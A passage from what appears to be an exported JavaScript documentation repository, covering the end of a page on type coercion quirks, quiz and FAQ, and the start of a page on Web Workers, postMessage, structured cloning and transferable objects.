0 (false)\n    ```\n  </Accordion>\n  \n  <Accordion title=\"4. The Infamous [] == ![]\">\n    ```javascript\n    [] == ![]       // true\n    \n    // Step by step:\n    // 1. ![] → false (arrays are truthy, negated = false)\n    // 2. [] == false\n    // 3. [] == 0 (boolean → number)\n    // 4. \"\" == 0 (array → string)\n    // 5. 0 == 0 (string → number)\n    // 6. true!\n    \n    // Meanwhile...\n    [] === ![]      // false (different types, no coercion)\n    ```\n  </Accordion>\n  \n  <Accordion title='5. \"foo\" + + \"bar\"'>\n    ```javascript\n    \"foo\" + + \"bar\"   // \"fooNaN\"\n    \n    // Step by step:\n    // 1. +\"bar\" is evaluated first (unary +)\n    // 2. +\"bar\" → NaN (can't convert \"bar\" to number)\n    // 3. \"foo\" + NaN → \"fooNaN\"\n    ```\n  </Accordion>\n  \n  <Accordion title=\"6. NaN is Not Equal to Itself\">\n    ```javascript\n    NaN === NaN     // false\n    NaN == NaN      // false\n    \n    // NaN is the only value in JavaScript not equal to itself!\n    // This is by design (IEEE 754 spec)\n    \n    // How to check for NaN:\n    Number.isNaN(NaN)     // true (correct way)\n    isNaN(NaN)            // true\n    isNaN(\"hello\")        // true (wrong! it converts first)\n    Number.isNaN(\"hello\") // false (correct)\n    \n    ```\n    \n    Use [`Number.isNaN()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/isNaN) instead of the global [`isNaN()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/isNaN) for reliable NaN checking.\n  </Accordion>\n  \n  <Accordion title=\"7. typeof Quirks\">\n    ```javascript\n    typeof NaN        // \"number\" (wat)\n    typeof null       // \"object\" (historical bug)\n    typeof []         // \"object\" (arrays are objects)\n    typeof function(){} // \"function\" (special case)\n    ```\n  </Accordion>\n  \n  <Accordion title=\"8. Adding Arrays\">\n    ```javascript\n    [1, 2] + [3, 4]   // \"1,23,4\"\n    \n    // Arrays convert to strings:\n    // [1, 2] → \"1,2\"\n    // [3, 4] → \"3,4\"\n    // \"1,2\" + \"3,4\" → \"1,23,4\"\n    \n    // To actually combine arrays:\n    [...[1, 2], ...[3, 4]]  // [1, 2, 3, 4]\n    [1, 2].concat([3, 4])   // [1, 2, 3, 4]\n    ```\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Best Practices\n\n<Tip>\n**How to avoid coercion bugs:**\n\n1. **Use `===` instead of `==`** — No surprises, no coercion\n2. **Be explicit** — Use `Number()`, `String()`, `Boolean()` when converting\n3. **Validate input** — Don't assume types, especially from user input\n4. **Use `Number.isNaN()`** — Not `isNaN()` or `=== NaN`\n5. **Be careful with `+`** — Remember it concatenates if any operand is a string\n</Tip>\n\n### When Implicit Coercion IS Useful\n\nStack Overflow's 2023 Developer Survey reports that type-related bugs remain among the most common debugging challenges for JavaScript developers. Despite the gotchas, some implicit coercion patterns are actually helpful:\n\n```javascript\n// 1. Checking for null OR undefined in one shot\nif (value == null) {\n  // This catches BOTH null and undefined\n  // Much cleaner than: if (value === null || value === undefined)\n}\n\n// 2. Boolean context is natural and readable\nif (user) {\n  // Truthy check - totally fine\n}\n\nif (items.length) {\n  // Checking if array has items - totally fine\n}\n\n// 3. Quick string conversion\nconst str = value + \"\";\n// or\nconst str = String(value);\n// or\nconst str = `${value}`;\n\n// 4. Quick number conversion\nconst num = +value;\n// or\nconst num = Number(value);\n```\n\n### Anti-Patterns to Avoid\n\n```javascript\n// BAD: Relying on == for type-unsafe comparisons\nif (x == true) { }  // Don't do this!\nif (x) { }          // Do this instead\n\n// BAD: Using == with 0 or \"\"\nif (x == 0) { }     // Matches \"\", but not null (null == 0 is false!)\nif (x === 0) { }    // Clear intent\n\n// BAD: Truthy check when you need specific type\nfunction process(count) {\n  if (!count) return;  // Fails for count = 0!\n  // ...\n}\n\nfunction process(count) {\n  if (typeof count !== \"number\") return;  // Better\n  // ...\n}\n```\n\n---\n\n## Key Takeaways\n\n<Info>\n**The key things to remember about Type Coercion:**\n\n1. **Three conversions only** — JavaScript converts to String, Number, or Boolean — nothing else\n\n2. **Implicit vs Explicit** — Know when JS converts automatically vs when you control it\n\n3. **The 8 common falsy values** — `false`, `0`, `-0`, `0n`, `\"\"`, `null`, `undefined`, `NaN` — everything else is truthy (plus the rare `document.all`)\n\n4. **+ is special** — It prefers string concatenation if ANY operand is a string\n\n5. **- * / % are consistent** — They ALWAYS convert to numbers\n\n6. **== coerces, === doesn't** — Use `===` by default to avoid surprises\n\n7. **null == undefined** — This is true, but neither equals anything else with `==`\n\n8. **Objects convert via valueOf() and toString()** — Learn these methods to control conversion\n\n9. **When in doubt, be explicit** — Use `Number()`, `String()`, `Boolean()`\n\n10. **NaN is unique** — It's the only value not equal to itself; use `Number.isNaN()` to check\n</Info>\n\n---\n\n## Test Your Knowledge\n\n<AccordionGroup>\n  <Accordion title='Question 1: What does \"5\" + 3 return and why?'>\n    **Answer:** `\"53\"` (string)\n    \n    The `+` operator, when one operand is a string, performs string concatenation. The number `3` is converted to `\"3\"`, resulting in `\"5\" + \"3\" = \"53\"`.\n  </Accordion>\n  \n  <Accordion title=\"Question 2: What are the 8 common falsy values in JavaScript?\">\n    **Answer:**\n    1. `false`\n    2. `0`\n    3. `-0`\n    4. `0n` (BigInt zero)\n    5. `\"\"` (empty string)\n    6. `null`\n    7. `undefined`\n    8. `NaN`\n    \n    Everything else is truthy, including `[]`, `{}`, `\"0\"`, and `\"false\"`.\n    \n    **Bonus:** There's also a 9th falsy value — `document.all` — a legacy browser API you'll rarely encounter.\n  </Accordion>\n  \n  <Accordion title=\"Question 3: Why does [] == ![] return true?\">\n    **Answer:** This is a multi-step coercion:\n    \n    1. `![]` evaluates first: arrays are truthy, so `![]` = `false`\n    2. Now we have `[] == false`\n    3. Boolean converts to number: `[] == 0`\n    4. Array converts to primitive: `\"\" == 0`\n    5. String converts to number: `0 == 0`\n    6. Result: `true`\n  </Accordion>\n  \n  <Accordion title=\"Question 4: What's the difference between == and === regarding coercion?\">\n    **Answer:**\n    \n    - `===` (strict equality) **never** coerces. If types differ, it returns `false` immediately.\n    - `==` (loose equality) **coerces** values to the same type before comparing, following a complex algorithm.\n    \n    ```javascript\n    5 === \"5\"    // false (different types)\n    5 == \"5\"     // true (string coerced to number)\n    ```\n    \n    Best practice: Use `===` unless you specifically need coercion.\n  </Accordion>\n  \n  <Accordion title=\"Question 5: What does Number(null) vs Number(undefined) return?\">\n    **Answer:**\n    \n    ```javascript\n    Number(null)       // 0\n    Number(undefined)  // NaN\n    ```\n    \n    This inconsistency is a common source of bugs. `null` converts to `0` (like \"nothing\" = zero), while `undefined` converts to `NaN` (like \"no value\" = not a number).\n  </Accordion>\n  \n  <Accordion title='Question 6: Predict the output: true + false + \"hello\"'>\n    **Answer:** `\"1hello\"`\n    \n    Step by step:\n    1. `true + false` = `1 + 0` = `1` (booleans → numbers)\n    2. `1 + \"hello\"` = `\"1hello\"` (number → string for concatenation)\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Frequently Asked Questions\n\n<AccordionGroup>\n  <Accordion title=\"What is type coercion in JavaScript?\">\n    Type coercion is JavaScript's automatic conversion of values from one type to another. According to the ECMAScript specification, all coercion ultimately converts to one of three primitive types: String, Number, or Boolean. It can be implicit (triggered by operators) or explicit (using functions like `Number()`, `String()`, or `Boolean()`).\n  </Accordion>\n\n  <Accordion title=\"What are the falsy values in JavaScript?\">\n    There are 8 common falsy values: `false`, `0`, `-0`, `0n` (BigInt zero), `\"\"` (empty string), `null`, `undefined`, and `NaN`. As documented by MDN, every other value in JavaScript is truthy — including empty arrays `[]`, empty objects `{}`, and the string `\"0\"`.\n  </Accordion>\n\n  <Accordion title='Why does \"5\" + 3 return \"53\" but \"5\" - 3 returns 2?'>\n    The `+` operator has a dual role: it performs both addition and string concatenation. When either operand is a string, `+` concatenates. The `-` operator only performs subtraction, so it always converts operands to numbers. This asymmetry is one of the most frequently asked JavaScript interview questions according to Stack Overflow surveys.\n  </Accordion>\n\n  <Accordion title=\"What is the difference between implicit and explicit type coercion?\">\n    Explicit coercion is when you intentionally convert types using functions like `Number(\"42\")` or `String(42)`. Implicit coercion happens automatically when JavaScript encounters mismatched types in operations — for example, `\"5\" - 3` implicitly converts `\"5\"` to the number `5`. Most style guides recommend explicit coercion for clarity.\n  </Accordion>\n\n  <Accordion title=\"How do objects convert to primitives in JavaScript?\">\n    JavaScript uses the ToPrimitive abstract operation, which checks for a `Symbol.toPrimitive` method first, then falls back to `valueOf()` and `toString()`. For number hints, `valueOf()` is tried first; for string hints, `toString()` is tried first. Arrays convert via `toString()`, which is why `[1,2,3] + \"\"` produces `\"1,2,3\"`.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Related Concepts\n\n<CardGroup cols={2}>\n  <Card title=\"Primitive Types\" icon=\"atom\" href=\"/concepts/primitive-types\">\n    Understanding the basic data types that coercion converts between\n  </Card>\n  <Card title=\"Primitives vs Objects\" icon=\"clone\" href=\"/concepts/primitives-objects\">\n    How primitives and objects behave differently during coercion\n  </Card>\n  <Card title=\"Equality Operators\" icon=\"equals\" href=\"/concepts/equality-operators\">\n    Deep dive into ==, ===, and how coercion affects comparisons\n  </Card>\n  <Card title=\"JavaScript Engines\" icon=\"gear\" href=\"/concepts/javascript-engines\">\n    How engines like V8 implement type coercion internally\n  </Card>\n</CardGroup>\n\n---\n\n## Reference\n\n<CardGroup cols={2}>\n  <Card title=\"Type Coercion — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Glossary/Type_coercion\">\n    Official MDN glossary entry explaining type coercion fundamentals.\n  </Card>\n  <Card title=\"Equality Comparisons — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Equality_comparisons_and_sameness\">\n    Comprehensive guide to ==, ===, Object.is() and the coercion rules behind each.\n  </Card>\n  <Card title=\"Type Conversion — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Glossary/Type_Conversion\">\n    The difference between type coercion (implicit) and type conversion (explicit).\n  </Card>\n  <Card title=\"Truthy and Falsy — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Glossary/Falsy\">\n    Complete list of falsy values and how boolean context works.\n  </Card>\n</CardGroup>\n\n## Articles\n\n<CardGroup cols={2}>\n  <Card title=\"JavaScript Type Coercion Explained\" icon=\"newspaper\" href=\"https://medium.freecodecamp.org/js-type-coercion-explained-27ba3d9a2839\">\n    Comprehensive freeCodeCamp article by Alexey Samoshkin covering all coercion rules with tons of examples and quiz questions. One of the best resources available.\n  </Card>\n  <Card title=\"What you need to know about Javascript's Implicit Coercion\" icon=\"newspaper\" href=\"https://dev.to/promhize/what-you-need-to-know-about-javascripts-implicit-coercion-e23\">\n    Practical guide by Promise Tochi covering implicit coercion patterns, valueOf/toString, and common gotchas with clear examples.\n  </Card>\n  <Card title=\"Object to Primitive Conversion\" icon=\"newspaper\" href=\"https://javascript.info/object-toprimitive\">\n    Deep-dive from javascript.info into how objects convert to primitives using Symbol.toPrimitive, toString, and valueOf. Essential for advanced understanding.\n  </Card>\n  <Card title=\"You Don't Know JS: Types & Grammar, Ch. 4\" icon=\"newspaper\" href=\"https://github.com/getify/You-Dont-Know-JS/blob/2nd-ed/types-grammar/ch4.md\">\n    Kyle Simpson's definitive deep-dive into JavaScript coercion. Explains abstract operations, ToString, ToNumber, ToBoolean, and the \"why\" behind every rule. Free to read online.\n  </Card>\n</CardGroup>\n\n## Videos\n\n<CardGroup cols={2}>\n  <Card title=\"== ? === ??? ...#@^% — JSConf EU\" icon=\"video\" href=\"https://www.youtube.com/watch?v=qGyqzN0bjhc\">\n    Entertaining JSConf talk by Shirmung Bielefeld exploring the chaos of JavaScript equality operators with live examples and audience participation.\n  </Card>\n  <Card title=\"Coercion in Javascript — Hitesh Choudhary\" icon=\"video\" href=\"https://www.youtube.com/watch?v=b04Q_vyqEG8\">\n    Hitesh walks through coercion step-by-step in the browser console, showing exactly what JavaScript does at each conversion. Good pace for beginners.\n  </Card>\n  <Card title=\"What is Coercion? — Steven Hancock\" icon=\"video\" href=\"https://www.youtube.com/watch?v=z4-8wMSPJyI\">\n    Steven breaks down the three conversion types (string, number, boolean) with simple examples. Short video that covers the fundamentals quickly.\n  </Card>\n</CardGroup>\n"
  },
  {
    "path": "docs/concepts/web-workers.mdx",
    "content": "---\ntitle: \"Web Workers\"\nsidebarTitle: \"Web Workers: True Parallelism\"\ndescription: \"Learn Web Workers in JavaScript for running code in background threads. Understand postMessage, Dedicated and Shared Workers, and transferable objects.\"\n\"og:type\": \"article\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"Web Platform\"\n\"article:tag\": \"web workers, background threads, postMessage, dedicated workers, shared workers, parallel processing\"\n---\n\nEver clicked a button and watched your entire page freeze? Tried to scroll while a script was running and nothing happened?\n\n```javascript\n// This will freeze your entire page for ~5 seconds\nfunction heavyCalculation() {\n  const start = Date.now()\n  while (Date.now() - start < 5000) {\n    // Simulating heavy work\n  }\n  return 'Done!'\n}\n\ndocument.getElementById('btn').addEventListener('click', () => {\n  console.log('Starting...')\n  const result = heavyCalculation()  // Page freezes here\n  console.log(result)\n})\n\n// During those 5 seconds:\n// - Can't click anything\n// - Can't scroll\n// - Animations stop\n// - The page looks broken\n```\n\nThat's JavaScript's single thread at work. But there's a way out: **[Web Workers](https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API)**. Defined in the WHATWG HTML Living Standard, they let you run JavaScript in background threads, keeping your UI smooth while crunching numbers, parsing data, or processing images. According to Can I Use data, Web Workers have over 98% browser support across all modern browsers.\n\n<Info>\n**What you'll learn in this guide:**\n- Why JavaScript's single thread causes UI freezes (and why async doesn't help)\n- How Web Workers provide true parallelism (not just concurrency)\n- Creating workers and communicating with `postMessage`\n- The difference between Dedicated, Shared, and Service Workers\n- Transferable objects for moving large data without copying\n- OffscreenCanvas for graphics processing in workers\n- Real-world patterns: worker pools, inline workers, heavy computations\n</Info>\n\n<Warning>\n**Prerequisites:** This guide builds on [the Event Loop](/concepts/event-loop) and [async/await](/concepts/async-await). Understanding those concepts will help you see why Web Workers solve problems that async code can't.\n</Warning>\n\n---\n\n## The Problem: Why Async Isn't Enough\n\nYou might think: \"I already know async JavaScript. Doesn't that solve the freezing problem?\"\n\nNot quite. Here's the thing everyone gets wrong about async: **async JavaScript is still single-threaded**. It's concurrent, not parallel. As explained in the ECMAScript specification, the language runtime uses a single execution thread — async operations yield control but never run JavaScript code simultaneously on the main thread.\n\n```javascript\n// Async code is NOT running at the same time\nasync function fetchData() {\n  console.log('1: Starting fetch')\n  const response = await fetch('/api/data')  // Waits, but doesn't block\n  console.log('3: Got response')\n  return response.json()\n}\n\nconsole.log('0: Before fetch')\nfetchData()\nconsole.log('2: After fetch call')\n\n// Output:\n// 0: Before fetch\n// 1: Starting fetch\n// 2: After fetch call\n// 3: Got response (later)\n```\n\nThe `await` lets other code run while waiting for the network. But here's the catch: **the actual JavaScript execution is still one thing at a time**.\n\n### The CPU-Bound Problem\n\nAsync works great for I/O operations (network requests, file reads) because you're waiting for something external. But what about CPU-bound tasks?\n\n```javascript\n// This async function STILL freezes the page\nasync function processLargeArray(data) {\n  const results = []\n  \n  // This loop is synchronous JavaScript\n  // The \"async\" keyword doesn't help here!\n  for (let i = 0; i < data.length; i++) {\n    results.push(expensiveCalculation(data[i]))\n  }\n  \n  return results\n}\n\n// The page freezes during the loop\n// async/await only helps with WAITING, not COMPUTING\n```\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                    ASYNC VS PARALLEL: THE DIFFERENCE                     │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│  ASYNC (Concurrency)                 PARALLEL (Web Workers)              │\n│  ────────────────────                ─────────────────────               │\n│                                                                          │\n│  Main Thread                         Main Thread    Worker Thread        │\n│  ┌─────────────────┐                 ┌──────────┐   ┌──────────┐         │\n│  │ Task A          │                 │ Task A   │   │ Task B   │         │\n│  │ (work)          │                 │ (work)   │   │ (work)   │         │\n│  ├─────────────────┤                 │          │   │          │         │\n│  │ Wait for I/O... │  ← yields       │          │   │          │         │\n│  ├─────────────────┤                 │          │   │          │         │\n│  │ Task B          │                 │          │   │          │         │\n│  │ (work)          │                 │          │   │          │         │\n│  ├─────────────────┤                 └──────────┘   └──────────┘         │\n│  │ Task A resumed  │                                                     │\n│  └─────────────────┘                 Both run at the SAME TIME           │\n│                                      on different CPU cores              │\n│  One thread, tasks take turns                                            │\n│                                                                          │\n│  GOOD FOR: Network requests,         GOOD FOR: Heavy calculations,       │\n│  file reads, timers                  image processing, data parsing      │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n<Tip>\n**The Rule:** Use async/await when you're **waiting** for something. Use Web Workers when you're **computing** something heavy.\n</Tip>\n\n---\n\n## The Restaurant Analogy: Multiple Chefs\n\nIf you've read our [Event Loop guide](/concepts/event-loop), you know JavaScript is like a restaurant with a **single chef**. The chef can only cook one dish at a time, but clever scheduling (the event loop) keeps things moving.\n\nWeb Workers are like **hiring more chefs**.\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                    THE MULTI-CHEF KITCHEN (WEB WORKERS)                  │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│  MAIN KITCHEN (Main Thread)           PREP KITCHEN (Worker Thread)       │\n│  ┌─────────────────────────┐          ┌─────────────────────────┐        │\n│  │                         │          │                         │        │\n│  │   HEAD CHEF             │          │   PREP CHEF             │        │\n│  │   ┌─────────┐           │          │   ┌─────────┐           │        │\n│  │   │  ^_^    │           │          │   │  ^_^    │           │        │\n│  │   └─────────┘           │          │   └─────────┘           │        │\n│  │                         │          │                         │        │\n│  │   • Takes customer      │          │   • Chops vegetables    │        │\n│  │     orders (events)     │          │   • Preps ingredients   │        │\n│  │   • Plates dishes (UI)  │          │   • Heavy work          │        │\n│  │   • Talks to customers  │          │   • No customer contact │        │\n│  │     (DOM access)        │          │     (no DOM!)           │        │\n│  │                         │          │                         │        │\n│  └───────────┬─────────────┘          └───────────┬─────────────┘        │\n│              │                                    │                      │\n│              │      ┌──────────────────┐          │                      │\n│              │      │   SERVICE WINDOW │          │                      │\n│              └─────►│   (postMessage)  │◄─────────┘                      │\n│                     │                  │                                 │\n│                     │  \"Need 50 onions │                                 │\n│                     │   chopped!\"      │                                 │\n│                     │                  │                                 │\n│                     │  \"Here they are!\"│                                 │\n│                     └──────────────────┘                                 │\n│                                                                          │\n│  KEY RULES:                                                              │\n│  • Chefs can't share cutting boards (no shared memory by default)        │\n│  • They communicate through the service window (postMessage)             │\n│  • Prep chef can't talk to customers (workers can't touch the DOM)       │\n│  • Prep chef has their own tools (workers have their own global scope)   │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n| Kitchen | JavaScript |\n|---------|------------|\n| **Head Chef** | Main thread (handles UI, events, DOM) |\n| **Prep Chef** | Web Worker (handles heavy computation) |\n| **Service Window** | `postMessage()` / `onmessage` (communication) |\n| **Cutting Board** | Memory (each chef has their own) |\n| **Customers** | Users interacting with the page |\n| **Kitchen Rules** | Worker limitations (no DOM access) |\n\nThe prep chef works independently in their own kitchen. They can't talk to customers (no DOM access), but they can do heavy prep work without slowing down the head chef. When they're done, they pass the result through the service window.\n\n---\n\n## What is a Web Worker?\n\nA **[Web Worker](https://developer.mozilla.org/en-US/docs/Web/API/Worker)** is a JavaScript script that runs in a background thread, separate from the main thread. It has its own global scope, its own event loop, and executes truly in parallel with your main code. Workers communicate with the main thread through message passing using `postMessage()` and `onmessage`. This lets you run expensive computations without freezing the UI.\n\nHere's a basic example:\n\n```javascript\n// main.js - runs on the main thread\nconst worker = new Worker('worker.js')\n\n// Send data to the worker\nworker.postMessage({ numbers: [1, 2, 3, 4, 5] })\n\n// Receive results from the worker\nworker.onmessage = (event) => {\n  console.log('Result from worker:', event.data)\n}\n```\n\n```javascript\n// worker.js - runs in a separate thread\nself.onmessage = (event) => {\n  const { numbers } = event.data\n  \n  // Do heavy computation (won't freeze the UI!)\n  const sum = numbers.reduce((a, b) => a + b, 0)\n  \n  // Send result back to main thread\n  self.postMessage({ sum })\n}\n```\n\n<Note>\nInside a worker, `self` refers to the worker's global scope (a [`DedicatedWorkerGlobalScope`](https://developer.mozilla.org/en-US/docs/Web/API/DedicatedWorkerGlobalScope)). You can also use `this` at the top level, but `self` is clearer.\n</Note>\n\n### The Communication Model\n\nWorkers and the main thread communicate through **messages**. They can't directly access each other's variables. This is intentional: it prevents the race conditions and bugs that plague traditional multi-threaded programming.\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                        WORKER COMMUNICATION                              │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│  MAIN THREAD                              WORKER THREAD                  │\n│  ┌───────────────────────┐                ┌───────────────────────┐      │\n│  │                       │   postMessage  │                       │      │\n│  │  const worker =       │ ─────────────► │  self.onmessage =     │      │\n│  │    new Worker(...)    │                │    (event) => {...}   │      │\n│  │                       │                │                       │      │\n│  │  worker.postMessage() │                │  // Do heavy work     │      │\n│  │                       │                │                       │      │\n│  │  worker.onmessage =   │ ◄───────────── │  self.postMessage()   │      │\n│  │    (event) => {...}   │   postMessage  │                       │      │\n│  │                       │                │                       │      │\n│  └───────────────────────┘                └───────────────────────┘      │\n│                                                                          │\n│  DATA IS COPIED (by default), not shared                                 │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n---\n\n## How Do You Create a Web Worker?\n\nThere are two ways to create workers: the **classic way** (original syntax) and the **module way** (modern, recommended).\n\n### Classic Workers\n\nThe original way to create workers uses `importScripts()` for loading dependencies:\n\n```javascript\n// main.js\nconst worker = new Worker('worker.js')\n\nworker.postMessage('Hello from main!')\n\nworker.onmessage = (event) => {\n  console.log('Worker said:', event.data)\n}\n\nworker.onerror = (error) => {\n  console.error('Worker error:', error.message)\n}\n```\n\n```javascript\n// worker.js (classic style)\nimportScripts('https://example.com/some-library.js')  // Load dependencies\n\nself.onmessage = (event) => {\n  console.log('Main said:', event.data)\n  \n  // Do some work...\n  \n  self.postMessage('Hello from worker!')\n}\n```\n\n### Module Workers (Recommended)\n\nModern browsers support module workers with `import`/`export`. This is cleaner and matches how you write other JavaScript:\n\n```javascript\n// main.js\nconst worker = new Worker('worker.js', { type: 'module' })\n\nworker.postMessage({ task: 'process', data: [1, 2, 3] })\n\nworker.onmessage = (event) => {\n  console.log('Result:', event.data)\n}\n```\n\n```javascript\n// worker.js (module style)\nimport { processData } from './utils.js'  // Standard ES modules!\n\nself.onmessage = (event) => {\n  const { task, data } = event.data\n  \n  if (task === 'process') {\n    const result = processData(data)\n    self.postMessage(result)\n  }\n}\n```\n\n<Tip>\n**Use module workers** whenever possible. They support `import`/`export`, have strict mode by default, and work better with modern tooling. Check [browser support](https://caniuse.com/mdn-api_worker_worker_options_type_parameter) before using in production.\n</Tip>\n\n### Comparison: Classic vs Module Workers\n\n| Feature | Classic Worker | Module Worker |\n|---------|---------------|---------------|\n| **Syntax** | `new Worker('file.js')` | `new Worker('file.js', { type: 'module' })` |\n| **Dependencies** | `importScripts()` | `import` / `export` |\n| **Strict mode** | Optional | Always on |\n| **Top-level await** | No | Yes |\n| **Browser support** | All browsers | Modern browsers |\n| **Tooling** | Limited | Works with bundlers |\n\n---\n\n## How Does postMessage Work?\n\nCommunication between workers and the main thread happens through [`postMessage()`](https://developer.mozilla.org/en-US/docs/Web/API/Worker/postMessage). Understanding how data is transferred is important for performance.\n\n### The Structured Clone Algorithm\n\nWhen you send data via `postMessage`, it's **copied** using the [structured clone algorithm](https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API/Structured_clone_algorithm). This is deeper than `JSON.stringify`: it handles more types, preserves object references within the data, and even supports circular references.\n\n<Tip>\nYou can use the global [`structuredClone()`](https://developer.mozilla.org/en-US/docs/Web/API/structuredClone) function to deep-clone objects using the same algorithm. This is useful for copying complex data outside of worker communication:\n\n```javascript\nconst original = {\n  name: 'Alice',\n  date: new Date(),\n  nested: { deep: true }\n}\n\n// Deep clone with structuredClone (handles Date, Map, Set, etc.)\nconst clone = structuredClone(original)\n\nclone.name = 'Bob'\nconsole.log(original.name)  // 'Alice' (unchanged)\nconsole.log(clone.date instanceof Date)  // true (Date preserved!)\n```\n</Tip>\n\n```javascript\n// main.js\nconst data = {\n  name: 'Alice',\n  scores: [95, 87, 92],\n  metadata: {\n    date: new Date(),\n    pattern: /test/gi\n  }\n}\n\nworker.postMessage(data)\n// The worker receives a COPY of this object\n// Modifying it in the worker won't affect the original\n```\n\n### What Can Be Cloned?\n\n| Can Clone | Cannot Clone |\n|-----------|--------------|\n| Primitives (string, number, boolean, null, undefined) | Functions |\n| Plain objects and arrays | DOM nodes |\n| Date objects | Symbols |\n| RegExp objects | WeakMap, WeakSet |\n| Blob, File, FileList | Objects with prototype chains |\n| ArrayBuffer, TypedArrays | Getters/setters |\n| Map, Set | Proxies |\n| Error objects (standard types) | |\n| ImageBitmap, ImageData | |\n\n<Note>\n**Error cloning:** Only standard error types can be cloned (`Error`, `EvalError`, `RangeError`, `ReferenceError`, `SyntaxError`, `TypeError`, `URIError`). The `name` and `message` properties are preserved, and browsers may also preserve `stack` and `cause`.\n</Note>\n\n```javascript\n// ✓ These work\nworker.postMessage({\n  text: 'hello',\n  numbers: [1, 2, 3],\n  date: new Date(),\n  regex: /pattern/g,\n  binary: new Uint8Array([1, 2, 3]),\n  map: new Map([['a', 1], ['b', 2]])\n})\n\n// ❌ These will throw errors\nworker.postMessage({\n  fn: () => console.log('hi'),     // Functions can't be cloned\n  element: document.body,           // DOM nodes can't be cloned\n  sym: Symbol('test')               // Symbols can't be cloned\n})\n```\n\n<Warning>\n**Performance trap:** Structured cloning can be slow for large objects. If you're passing megabytes of data, consider using Transferable objects instead (covered below).\n</Warning>\n\n### Handling Errors\n\nAlways set up error handlers for workers:\n\n```javascript\n// main.js\nconst worker = new Worker('worker.js', { type: 'module' })\n\n// Handle messages\nworker.onmessage = (event) => {\n  console.log('Result:', event.data)\n}\n\n// Handle errors thrown in the worker\nworker.onerror = (event) => {\n  console.error('Worker error:', event.message)\n  console.error('File:', event.filename)\n  console.error('Line:', event.lineno)\n}\n\n// Handle message errors (e.g., data can't be cloned)\nworker.onmessageerror = (event) => {\n  console.error('Message error:', event)\n}\n```\n\n### Using addEventListener (Alternative Syntax)\n\nYou can also use `addEventListener` instead of `onmessage`:\n\n```javascript\n// main.js\nconst worker = new Worker('worker.js', { type: 'module' })\n\nworker.addEventListener('message', (event) => {\n  console.log('Result:', event.data)\n})\n\nworker.addEventListener('error', (event) => {\n  console.error('Error:', event.message)\n})\n```\n\n```javascript\n// worker.js\nself.addEventListener('message', (event) => {\n  const result = processData(event.data)\n  self.postMessage(result)\n})\n```\n\n---\n\n## Transferable Objects: Zero-Copy Data Transfer\n\nCopying large amounts of data between threads is slow. For big ArrayBuffers, images, or binary data, use **transferable objects** to move data instead of copying it.\n\n### The Problem with Copying\n\n```javascript\n// main.js\n// Creating a 100MB buffer\nconst hugeBuffer = new ArrayBuffer(100 * 1024 * 1024)\nconst array = new Uint8Array(hugeBuffer)\n\n// Fill it with data\nfor (let i = 0; i < array.length; i++) {\n  array[i] = i % 256\n}\n\nconsole.time('copy')\nworker.postMessage(hugeBuffer)  // This COPIES 100MB - slow!\nconsole.timeEnd('copy')  // Could take hundreds of milliseconds\n```\n\n### The Solution: Transfer Ownership\n\nInstead of copying, you can **transfer** the buffer to the worker. The transfer is nearly instant, but the original becomes unusable:\n\n```javascript\n// main.js\nconst hugeBuffer = new ArrayBuffer(100 * 1024 * 1024)\nconst array = new Uint8Array(hugeBuffer)\n\n// Fill with data...\n\nconsole.time('transfer')\n// Second argument is an array of objects to transfer\nworker.postMessage(hugeBuffer, [hugeBuffer])\nconsole.timeEnd('transfer')  // Nearly instant!\n\n// WARNING: hugeBuffer is now \"detached\" (unusable)\nconsole.log(hugeBuffer.byteLength)  // 0\nconsole.log(array.length)  // 0\n```\n\n```javascript\n// worker.js\nself.onmessage = (event) => {\n  const buffer = event.data\n  console.log(buffer.byteLength)  // 104857600 (100MB)\n  \n  // Process the data...\n  const array = new Uint8Array(buffer)\n  \n  // Transfer it back when done\n  self.postMessage(buffer, [buffer])\n}\n```\n\n### What Can Be Transferred?\n\n| Transferable Object | Use Case |\n|--------------------|-----------| \n| [`ArrayBuffer`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer) | Raw binary data |\n| [`MessagePort`](https://developer.mozilla.org/en-US/docs/Web/API/MessagePort) | Communication channels |\n| [`ImageBitmap`](https://developer.mozilla.org/en-US/docs/Web/API/ImageBitmap) | Image data for canvas |\n| [`OffscreenCanvas`](https://developer.mozilla.org/en-US/docs/Web/API/OffscreenCanvas) | Canvas for off-main-thread rendering |\n| [`ReadableStream`](https://developer.mozilla.org/en-US/docs/Web/API/ReadableStream) | Streaming data |\n| [`WritableStream`](https://developer.mozilla.org/en-US/docs/Web/API/WritableStream) | Streaming data |\n| [`TransformStream`](https://developer.mozilla.org/en-US/docs/Web/API/TransformStream) | Streaming transforms |\n| [`AudioData`](https://developer.mozilla.org/en-US/docs/Web/API/AudioData) | Audio processing (WebCodecs) |\n| [`VideoFrame`](https://developer.mozilla.org/en-US/docs/Web/API/VideoFrame) | Video processing (WebCodecs) |\n| [`RTCDataChannel`](https://developer.mozilla.org/en-US/docs/Web/API/RTCDataChannel) | WebRTC data channels |\n\n<Note>\nThis table shows the most commonly used transferable objects. For a complete list including newer APIs like `MediaStreamTrack` and `WebTransportSendStream`, see MDN's [Transferable 